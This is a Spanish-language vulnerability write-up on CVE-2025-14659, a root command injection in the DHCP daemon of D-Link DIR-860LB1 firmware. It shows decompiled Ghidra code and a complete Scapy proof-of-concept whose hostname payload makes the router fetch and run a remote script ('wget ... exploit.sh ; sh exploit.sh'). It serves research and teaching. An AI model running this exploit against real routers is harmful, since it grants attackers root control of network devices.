
Análisis estático (Ghidra) y creación de paquetes personalizados (Scapy) que demuestran una vulnerabilidad de inyección de comandos DHCP a nivel de root (CVE-2025-14659) en el firmware de D-Link
Autor: Peter Lin Fecha: Mayo de 2026 Descripción del proyecto: CVE-2025-14659 reportó una vulnerabilidad de inyección de comandos dirigida al componente daemon DHCP presente en el router inalámbrico D-Link DIR-860LB1 con firmware v203b03. Esta inyección de comandos podría permitir a un atacante ejecutar comandos arbitrarios con privilegios de root en este router objetivo cuando un cliente DHCP renueva una concesión existente con un nombre de host malicioso. Extraeré el firmware del dispositivo DIR-860LB1 e identificaré el fallo presente en el daemon DHCP (udhcpd) mediante análisis estático usando Ghidra. Luego utilizaré un motor de emulación como FirmAE para emular el entorno de este router, demostrando un ataque de prueba de concepto contra este objetivo.
udhcpd (Daemon DHCP)Observando la función udhcpd_main en Ghidra, la vulnerabilidad se encuentra justo dentro del bloque case 3 (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() sin sanear los caracteres de shell:
system(acStack_454);
Debido a que el daemon se ejecuta como root, agregar metacaracteres de shell (como ; o |) en el nombre de host permite a un atacante ejecutar comandos arbitrarios del sistema.
cve_poc.py)Este script funcional de Scapy simula un cliente malicioso que solicita una renovación de concesión con un payload de nombre de host inyectado:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
Si se explota en el mundo real, un atacante puede usar esta vulnerabilidad para:
/tmp) para reclutar el hardware en redes de DDoS.Descargo de responsabilidad: Este proyecto se creó estrictamente con fines educativos, de creación de portafolio e investigación de seguridad defensiva.